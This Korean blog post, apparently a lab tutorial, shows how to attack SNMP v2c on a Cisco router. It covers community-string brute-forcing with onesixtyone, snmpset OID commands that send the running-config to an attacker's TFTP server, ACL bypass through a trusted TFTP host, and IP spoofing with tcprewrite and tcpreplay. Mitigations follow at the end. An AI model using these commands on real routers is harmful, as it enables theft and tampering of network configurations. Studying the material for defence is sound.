[ SNMP 의 보안상 취약점 ]

 

현재, SNMP v2c를 쓰는 곳이 여전히 많은데 v2c 는 기능 향상을 가져왔을 뿐, 보안은
v1( Community String = 비밀번호 ) 에만 의존하므로, 취약점이 v1 과 같다고, 앞의 개론에서도 언급했습니다. agent 는 manage 가 정확히 누구인지 판단할 인증 시스템도 없지요.

 

Community String 을 알게 되면


 - 환경 설정 파일 열람 및 수정을 통한 공격 가능.
 - 간단한 정보 수집에서부터 관리자 권한 획득 및 Dos 까지 다양한 형태의 공격 가능.
 

[ Community String 획득 방법 ]


Default Community String
Hidden Community String
Bruteforcing, *Dictionary attack ( 공격자가 외부단일 경우 )
Sniffing ( 공격자가 내부단일 경우, v1 ,v2의 패킷은 암호화가 되어있지 않으므로 )

 

 

[ 모의 환경 ]

NMS 의 매니져인 XP <------> Router 의 Running Config 를
내부 네트워크의 Backtrack 공격자가 침투하여, 매니져 행세를 하면서
라우터의 설정을 파악하고, 또 조작하여 acl , 포트포워딩 등을 손봐서,

외부의 침투 경로를 허용시킨다.

 

[ LAB ]

Backtrack = Attack ( 10.0.0.3 )

XP = Manager ( 10.0.0.1 )

Router ( 10.0.0.254 )  

내부 네트워크 핑이 통하도록 LAB 구성 및 WM 테스트.

 

 

 

 

1. Router

 

- SMNP 관리용 Community String 을 두 개 만듭니다.

비밀번호 뒤에 모드를 입력하지 않으면 기본적으로 Read only 용 비밀번호가 만들어집니다.

수정할 수 있는 쓰기까지 같이 만들어 둡니다.

읽기전용의 C/S 는 public 이라는 비밀번호로.

수정가능한 C/S 는 prvate 이라는 비밀번호로 생성했습니다.

SNMP Protocol 이 시작되었습니다.

 

 

2. ATTACK

 

 

(1) Router Scanning

 이제 내부단의 공격자는, 일단 Router의 SNMP 를 제어할 Community String (=비밀번호) 를 알아내야 합니다. 내부단이므로 해당 장비에 연결이 되어 있겠지요. 즉 Scanning 의 단계에 들어가면 됩니다. UDP Port scanning 을 시도해 봅시다.

 

 

 

 

전체 스캐닝은 시간이 오래 걸리고, 부하를 줄 수 있으므로, SNMP 프로토콜 포트인 161번만 지정해서 스캔해 봅니다. 해당 프로토콜이 존재할 경우 스캐닝에 보이게 됩니다. 덤으로

현재 동작중인 OPEN..  즉 Active scanning 까지 같이 해 주는 멋진 nmap.

 

 

이제 정보를 파악했다면, one-sixty-one 이란 Tools ( Bruteforcing ) 을 사용하여, Community String 을 획득 시도해 봅시다.

 

 

dict.txt 파일 안에 수많은 Dictionary 단어들이 들어 있습니다. 그 중에 private, public 이라는 단어가 존재했습니다.

일치하는 단어를 찾아내면, 해당 값을 결과로 출력해 줍니다. 

 

 

./onesixtyone -c dict.txt 10.0.0.254 를 입력하여, dict.txt 안에 들어있는 단어와, 라우터의 커뮤니티 스트링이 일치했을 경우, 해당 결과를 출력해 줍니다. 다만 해당 비밀 번호가 ro 읽기전용인지, rw 수정권한용 커뮤니티 스트링인지는, 공격자는 알 수 없습니다. 그래도 뭐 두 번 시도해보면 되기에 큰 문제는 없습니다.

 

 

 

 

이제, 공격자는 Router SNMP 서비스의 비밀번호를 획득하였습니다. 이 권한을 이용하여

라우터의 Running-config 환경을 파일화하여, 가져오는 시도를 할 것입니다.

라우터에 직접 로그인할 권한은 없으므로, 이 SNMP 서비스에서의 업/다운로드 기능을, 방금 획득한 커뮤니티 스트링을 통해 권한을 취득하여, 내려받기 시도를 합니다. 

임베디드 시스템, 라우터 등에서 다운로드/업로드는 보통 TFTP 를 씁니다.

( TFTP 는 첨부한 TFTP 파워포인트 자료를 참조 하십시오. FTP 와의 차이점을 비교해 보십시오 )

 

 

TFTP.pptx

( 임의대로 재배포, 수정은 자제해 주십시오. )

 

TFTP 는 FTP 와의 차이점 중 하나가 프로토콜의 여부 외에도, 기본적으로 "디렉토리 인덱싱 서비스" 를 지원하지 않는다는 것입니다. 이 말은 즉, TFTP 를 통해 무언가 다운로드를 하려면, 해당 서버에 자리한 "정확한 파일명" 을 알아야 다운로드가 가능합니다. 하지만 그 이름만 알면, 다른 여타 보안관련 인증 시스템이 없으므로, 매우 손쉽지만 보안에 취약하게 됩니다.

 

 

 

 

(2) Backtrack 에서의 TFTP 실행

 

백트랙의 어플리케이션 탭에서 Wine 탭에 갑니다.

 

 

Configure Wine - DRIVERS 탭 선택 후 - Autodetect 를 눌러줍니다.

Backtrack 설치 경로와 /, /root 위치를 자동 지정해주는 것이지요.

 

 

 

Lunux 에서도 일부 WINDOWS 관련 어플을 실행할 수 있습니다

Application - Wine - Brower 에서 win 파일을 실행가능합니다.
 
추가 경로는 Pentest - windows-binaries - tools 안으로 들어가시면 됩니다.

 

 

 

 

막상 가보면, 실행이 안 되는데, 터미널 가서 리스트를 검색해 보면.

tftpd32.exe 파일이 존재하지만, 녹색으로 빛나지 않는. 즉 현재 실행 불가의 파일입니다.

이는 권한의 문제이므로 chmod 777 때려서, 실행가능한 상태로 만들고 다시 wine 가서 실행해 봅시다.

 

 

 

 

Current Directory 가 서버가 될 곳이고, 현재 Backtrack 의 IP 가 지정되어 있습니다.

 

 

TFTP 의 포트를 심심하니 확인해 봅니다.

 

 

보인다면 정상입니다.

 

 

 

(3) SNMP 에 메세지를 보내서, 외부 TFTP 서버로 라우터 환경파일 다운로드

이제 패킷을 봅시다. 지금 왜 이런 작업을 하는지 아시겠지만

위에서 설명했듯이, 라우터로의 직접적 접근권한이 없으므로 SNMP프로토콜의 커뮤니티 스트링을 통한 운용 권한을 이용하여 TFTP 를 통해, 해당 SNMP 프로토콜에게 "너의 환경 설정파일을 TFTP 를 통해 이쪽 서버로 내려보내라" 라는 SNMP OID 명령을 보내려는 것입니다.

 

BT 에 간편화된 툴이 있지만, 이해를 돕기 위해서, 수동설정과 패킷의 흐름을 보겠습니다.

 

공격자는 GetRequest OID 를 만들어서, 라우터의 SNMP 프로토콜에 전달합니다.

일단, 메세지를 만들 빈 번호(Instance) 를 찾아야 합니다.

임의의 Instance 를 만들어서 ( 저 위에선 마지막에 100번으로 만들어 보냈죠? ) 패킷을 보았더니 Nosuchinstance 라고 보였습니다. 네 이 메세지가 100번이라는 인스턴스는 존재하지 않는다는 소리입니다. 이 번호를 이용하여 메세지 리퀘스트를 만들 수 있습니다.

CISCO-CONFIG-COPY MIB의 OID 번호입니다. NMS 를 통해 라우터를 관리하기 위해 개발되었죠.

우리는 앞서서 SNMP 를 수정할 수 있는 rw 의 Community String 키 Private 라는 값을 알아냈으니, 이제 외부에서 명령을 내릴 수 있습니다.

 

 

snmpget : set이 아니라 get 입니다.

-v : 상세 보기

2c : 해당 SNMP의 버젼 ( v2c 군요 )

-c : Community String 을 지정하겠다는 소리입니다.

1.3.6.1.4.1.9.9.96.1.1.1.1.10 .100

(1) 100번이라는 인스턴트 값 메세지가 있었는지(업/다운로드 했는지) 라우터 SNMP 에 질의하는 OID 번호 입니다

 

 

 

지금부턴 snmpset : snmp 에 setting 을 합니다. ( 반드시 순서대로 진행하십시오 )

private 앞에서 획득해낸 커뮤니티 스트링(=비밀번호) 죠. 이걸 알아야, 라우터의 SNMP에 접근할 수 있겠죠?

 

1.3.6.1.4.1.9.9.96.1.1.1.1.2.100 i 1

 

(2) 라우터의 환경설정 파일을 up/down 할 Protocol 을 지정합니다. 우리는 TFTP 를 씁니다.

tftp(1), ftp(2), rcp(3), scp(4), sftp(5) 의 번호값을 가지고 있습니다.

i = int(정수)형 1이라는 숫자를 지정 = TFTP 를 사용하겠다.

 

 

1.3.6.1.4.1.9.9.96.1.1.1.1.3.100 i 4

 

(3) 중요합니다. 1.1.1.1."3" 의 의미는 라우터에서 TFTP 를 통해 내려받을 환경 설정 파일의 TYPE 을 지정하는 것입니다.

라우터의 현재 돌아가는 실시간 환경 설정 파일을 노려야 하므로, running-config 를 받아야 겠죠.

networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5)

i 4 로 정수형으로 지정해주었습니다.

 

 

1.3.6.1.4.1.9.9.96.1.1.1.1.4 100 i 1

 

(4) 이번엔 다운로드 받을 측에서(FTFP 가 설치된 서버쪽이 되겠죠) 받아오는 환경 설정 파일의 type 이 어떤 것인지 정의하는 것입니다.

해당 파일은 running-config 의 텍스트 내용을 저장한 router.run 이라는 파일로 다운로드 받을 예정입니다. 네트워크를 통하여 내려받는 것이니 Network type 으로 정의해 줍니다. 간단하게 말해서 "서버에 다운로드될(복사될) 파일의 타입 지정" 입니다.

형식은 위와 똑같습니다.

networkFile(1), iosfile(2), startupConfig(3), runningConfig(4), terminal(5)

 

 

1.3.6.1.4.1.9.9.96.1.1.1.1.5.100 a 10.0.0.3

 

 

(5) 이제 TFTP를 이용해 다운로드 받을 서버의 위치를 정해주는 OID입니다.

a 는 IP 를 입력하기 위한 옵션입니다. 10.0.0.3 은 지금 TFTP 를 설치하여 환경설정파일을 가로챌 이 공격자(BT)의 TFTP 서버를 적어주면 되겠죠.

 

1.3.6.1.4.1.9.9.96.1.1.1.1.6.100 s router.run

 

(6) 이제 다 됐습니다. 마지막으로 라우터의 Running-config 를 저장할 파일명입니다.

s(string) 으로 문자열로 쓰겠다는 정의를 내리고 저장할 파일명을 적어줍니다.

 

1.3.6.1.4.1.9.9.96.1.1.1.1.14.100 i 1

 

(7) 최종 실행의 메세지 OID 입니다.

정수형으로 1(active) 실행한다는 의미입니다. TFTP 스테이터스를 보면, 라우터에서, 이 쪽 TFTP 서버로 환경설정 파일이 지정된 이름으로 들어왔음을 볼 수 있습니다.

 

 

 

 

다시한번 (1)에서 시도했던, UP/DOWN 의 결과창을 봅시다.

100번이라는 Getrequest 를 만들고, 수행까지 다 했기 때문에, 이제 nosuchinstance 라는 메세지가 아닌, INTEGER = 3 이 보일 것입니다.

 (실패했다면 4번, 성공했다면 3번. 크기가 커서 동작 중이라면 2번, 비활성화 상태면 1번이 보일 것입니다.)

이제 해당 타겟 snmp를 사용하는 라우터에 침투하여, 환경설정 파일을 내려받았습니다.

 

 

 

이제 이 환경설정 파일을 조작하여, 외부 바인딩이나, 보안설정을 풀어버린 후, 이것을 타겟의 라우터에 다시 재 업로드 합니다.

그럼 해당 라우터는 보안이 풀린 상태로, 차후 여러 공격을 당하게 될 것입니다.

 

 

 

(4) 환경설정 파일을 업로드하기

다운로드와 똑 같습니다만 3,N 4,N 그룹을 바꾸는 것이 DOWN / UP 차이점입니다.

새로운 메세지이므로 위에서 다운로드 메세지로 썼던 100번을 더이상 사용할 수 없습니다.

( 업로드할 파일 타입 3.N 을 반대로 Network File  주고, 4,N running-config 바꿔주면 되겠지요. )

 


 

 

(5) 배치파일 형태로 만들기

여러 문장을 쳐야하니 반복적이고 귀찮을 것입니다. 이를 배치파일 형태의 스크립트로 만들 수 있습니다.

vi snmp_down.sh 라는 shell 파일 형식으로 만들어 봅시다.

 

 

 

그리고 실행권한을 chmod 777 을 줘서 실행파일로 바꿔버린 후 ./snmp_down.sh 를 입력하여

실행하면, 자동실행 스크립트처럼 동작합니다.

 

 

 

 

(6) 보안이 걸려 있을 경우, BT의 자동화된 TOOL 이용하기

위에서 했던 방법은 "작동 원리" 를 위한 수동세팅이라고 처음에 설명드렸는데요. 이제 이해하셨다면 아래의 Tool 을 사용할 수 있습니다.

 

 

해당 위치에 존재하는 다음의 두 파일입니다.

 

 

자.. TFTP 는 인증 보안이 없기 때문에, 파일명만 지정하면 자유롭게 업/다운로드가 가능하다고 말씀드렸죠. 그래서 이런 문제를 해결하고자, SNMP 의 라우터에서는 ACL 로 IP 제한(White/black list) 를 걸 수 있습니다. 그렇다면 위에서 했던 방법들은 마지막에 1.1.1.14 로 다운로드를 수행 할 때 공격자의 TFTP 서버(10.0.0.3)을 모르니까, 환경설정파일을 내 주지 않고 거부를 하게 됩니다.

 

그리고 TFTP 의 업/다운로드는 "지정된 IP 대역"의 서버에서만 가능하도록 설정해 주는 것이죠.

 

 

 

 

Router 에서 정책 설정
 
 ACL 지정 ( XP )
 access-list 50 permit host 10.0.0.1


 
 SNMP 프로토콜의 다운/업로드 서비스(tftp)에 ACL 을 지정
 snmp-server tftp-server-list 50


 

 

 

네.. ACL 이 걸려있으니, 10.0.0.3 으로의 다운로드가 거부되었습니다.

 

하지만, 이 또한 문제가 있습니다. 내부 네트워크에 침입한 공격자가 해당 네트워크 대역을 스니핑, Port Scanning 을 거쳐서, "허용된 정상 TFTP 서버의 IP" 를 알아낸다면 다른 방법이 생기는 것이지요. TFTP 프로그램의 "서버 역할" 뿐만이 아닌, "클라이언트 역할" 을 할 수 있는 기능을 이용할 겁니다.

Router 의 ACL list 는 TFTP 의 접근 경로만 차단했을 뿐, SNMP 메시지를 차단한 것은 보시다시피 아닙니다. 업/다운로드만 아이피 필터링을 통해 안 될 뿐이지, SET Messange 는 정상적으로 동작했지요.


 이럴 경우, 인증된 실제 tftp 서버(10.0.0.1) 를 경유지(Proxy)로 사용하여, 다운로드 받아올 수 있습니다.


  = snmp 메시지로 매니저(라우터)에 인증된 tftp 서버로 running-config 를 내려보내라고 요청한 후, 해당 정상 TFTP 서버에서 파일을 가져오는 겁니다. 이중작업이지요.

 

 

[ 환경 ]

이쪽이 정상 허용된 TFTP 사용자입니다. ( 10.0.0.1 ) TFTP 포트인 69번이 열려 있습니다.

공격자인 BT는 이 아이피를 모른다고 생각해야 합니다. 위에서 말한것처럼 포트 스캐닝으로 이 정상 TFTP 서버를 찾아내야 합니다.

 

공격자는 SNMP 가동중인 타겟의 라우터에게 메세지를 보냅니다.

허용된 TFTP 정상 사용자 쪽으로 running-config 파일을 내려보내도록 말이죠.

 

정상적으로 잘 갔습니다.

 

 

이제 뭐 간단하지요? 환경설정 파일을 업로드 당한 10.0.0.1 사용자는 ACL 같은 보안대첵이 전혀 없습니다.

우리는 스니핑을 통해, 정상 사용자가 라우터에서 받은 파일명을 알고 있고, TFTP 의 특성은 파일명만 알면 아무런 보안도 없다는 점을 이용할 수 있습니다.

이제 해당 10.0.0.1 의 사용자에게서 TFTP 로 파일명을 입력하여, 다운로드해 오면 됩니다.

 

 

정상 TFTP 사용자에게서 공격자 쪽으로 다운로드 되었습니다.

 

간단하죠?

 

이제 받은 환경설정 파일을, 보안이 무력화되도록, 수정한 후, 다시금 10.0.0.1 ACL 허용된 정상 TFTP 에게 업로드해 줍니다.

그리고 SNMP Router 에게 다시금 Getrequest 메세지를 만들어서 보냅니다.

정상 TFTP 사용자(10.0.0.1)의 환경설정 파일을, 자신의 라우터에 업로드시키라고.

 

업로드는 copy-router-config.pl 이 아닌 merge-router-config.pl 을 이용합니다.

 

 

 

 

 

(7) 외부 Getrequest 메세지를 차단하는 보안

이제, 상대방이 화가 단단히 났습니다 그래서 이제 OID 를 보내는 외부 요청 메세지 자체를 차단해버리려고 합니다.

커뮤니티 스트링을 만들 때, 메세지 허용 여부까지 ACL로 지정할 수 있습니다.

위에서 TFTP 의 업/다운로드 허용리스트를 만든 50번을 그대로 주도록 합니다.

 

 

 

rw뒤에 50을 쓰면 됩니다.

 

 

이제 수정된 환경 설정 파일을 올려보내려고 하니, 거부가 됩니다. 허용된 ACL(10.0.0.1)의 메세지 외에는 여타 snmpset 외부 메세지 지령 자체를 받아들이지 않는 것이지요.

 

자, 해커는 여기서 포기하면 안됩니다.

SMNP Protocol 은 UDP 를 사용하는 프로토콜이므로, IP 변조가 쉬운 축에 속합니다.

예전에 배웠던 "IP 변조 공격" = IP spoofing 을 사용하여, 자신의 아이피를 허용된 ACL로 위장해 봅시다.

= SNMP 포맷의 5계층 내용은 변하지 않고 3계층의 IP Source 를 허용된 ACL로 바꿔치는 방법입니다.

= 하지만 IP 무결성 검사의 checksum 에 걸려서 해당 패킷이 drop 되므로, 결국 전용 TOOL을 써야 하겠습니다.

 

 

[ IP 변조 ]

 

1. SNMP Router 간의 일반 메세지 요청을 캡쳐합니다. 물론 ACL에 걸려서 받아들이진 않겠지만

어찌됐든 이쪽은 계속 응답 요구를 보내고 있습니다.

 

캡쳐한 패킷들을 파일로 저장해 둡니다.

( SNMP_dump.pcap) libcap 형식으로 저장해야, 아래 변환에서 에러가 나지 않습니다!

 

 

2. 이제 4,5계층 포맷까지 변조할 수 있는 Tool을 이용할 것입니다.

아래의 주소에서 툴들을 보아둡니다.

 

 

3. tcprewirte 툴을 이용하여, 해당 패킷의 10.0.0.3(공격자)의 시작주소를 정상 ACL 주소로 바꿔줍니다

 -C :  체크썸 검사
 -S : 출발지 속이기
 -i [ 원본 캡쳐파일 ]
 -o [ 조작된 결과를 저장할 캡쳐 파일명 ]

re_snmp_down.pcap 이라는 출발지가 정상 ACL 사용자로 변조된 패킷 파일이 만들어졌습니다.

 

 

 

4. 이 변조된 파일의 패킷으로 이제, 라우터에 요청을 합니다.

라우터는 이제 ACL 사용자가 보낸 Request 라고 인식하고, 메세지를 받아들이게 됩니다.

 

 

 

 

[ Wireshark 로 패킷이 잘 안 떠질 때 ]

TEXT 모드인 백트랙 자체 내장 tshark 를 이용할 수 있습니다.

 

1. tshark -i eth0 -w a.pcap 이라고 입력하여, 지금부터 발생하는 모든 패킷을 a.pacp 이라는 파일로 저장합니다.

 


2. 새 터미널 창을 열어서 해당 라우터에게 메세지를 보냅니다. 물론 메세지 자체를 받지 않겠지요.  

 

[입력] ./copy-router-config.pl 10.0.0.254 10.0.0.1 private

10.0.0.1:pwnd-router.config -> 10.0.0.254:running-config... No response from remote host '10.0.0.254' at ../../cisco/copy-router-config/copy-router-config.pl line 34.

적당히 화면을 본 후 캡쳐를 종료 합니다.

 

3. 캡쳐 내용을 확인

tshark -r a.pcap

 

4. 이제 이 패킷을 변환할 수 있는 libpcap 방식으로 재 인코딩해야 합니다.

패킷 정보 보기 = capinfos a.pcap

= 형식이 나오는데 libpcap 방식이 아닐 것입니다.

 

패킷 인코딩하기 = editcap a.pcap -F libpcap a.pcap

-F libpcap : libpcap 형식으로 필터링하여 재 인코딩 합니다.

= 이제 tcprewite와 wireshark 가 알아 볼 수 있는 형식으로 변환되었습니다.

 

해당 패킷을 이제 다시 tcprewite 와 같은 경로에 넣고, 목적지를 바꿔칩니다.

 

 

./tcpreplay -i eth0 b.pcap 을 입력하여, 해당 패킷을 보내면 이제 패킷의 메세지 요청을 받아들이게 됩니다.

 

 

 

 

 

 

[ 예방 대책 ]

 

SNMP 를 사용하지 않는 시스템일 경우, SMNP 서비스를 꺼 줍니다.

 

#no smnp-service

= 커뮤니티 서비스만 죽인다고, snmp 프로토콜 서비스 전체가 꺼지는 것이 아니니 반드시 위 명령어를 써야 함.

 

다소 비싸고 복잡하더라도 SMNP V3  버젼을 사용. ( 현실적으로 금방은 힘든 이야기 )

 

 

 

 

 

 

 

- 지금까지의 방법은 해킹의 기본인 해당 타겟의 내부와 로컬적으로 연결된 "스니핑" 이 가능한 전제의 공격을 말씀드렸습니다.

하지만, 외부의 다른 네트워크에서 원격으로 공격하는 방법이 보통 더 무섭고, 멋있(..) 죠?

 

기본적으로 외부 해킹도, 원리가 크게 다르지 않습니다.

일단 해당 타겟 네트워크의 내부 돌아가는 현황(스니핑)을 모른다면, 불가능합니다.

 

그래서 원격 SNMP 해킹을 하는 경우는, 이제 공격자의 Router 와, 타겟의 Router 를 직통으로 연결하는 가상의 길 = Turnnel 을

을 만들게 됩니다. 즉 GRE Protocol 을 이용한 터널링 원격 공격입니다.

 

다음 글에서 뵙지요.

 

 

 

 

 


 

블로그 이미지

늙은M군

개인 저장공간입니다. 해당 일부 과정들을 공인 인터넷 환경에서 악성적으로 응용할 시 피해가 발생할 수 있으며, 그에 대해 책임은 사용자에게 있습니다!! 주의해주세요.

,